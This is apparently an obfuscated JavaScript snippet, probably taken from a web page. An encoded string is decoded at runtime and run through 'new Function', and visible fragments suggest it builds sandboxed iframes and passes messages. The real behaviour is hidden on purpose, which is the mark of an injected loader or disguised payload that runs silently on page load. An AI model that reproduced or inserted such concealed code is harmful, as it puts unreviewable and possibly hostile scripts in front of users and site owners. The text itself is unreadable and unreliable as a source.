R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();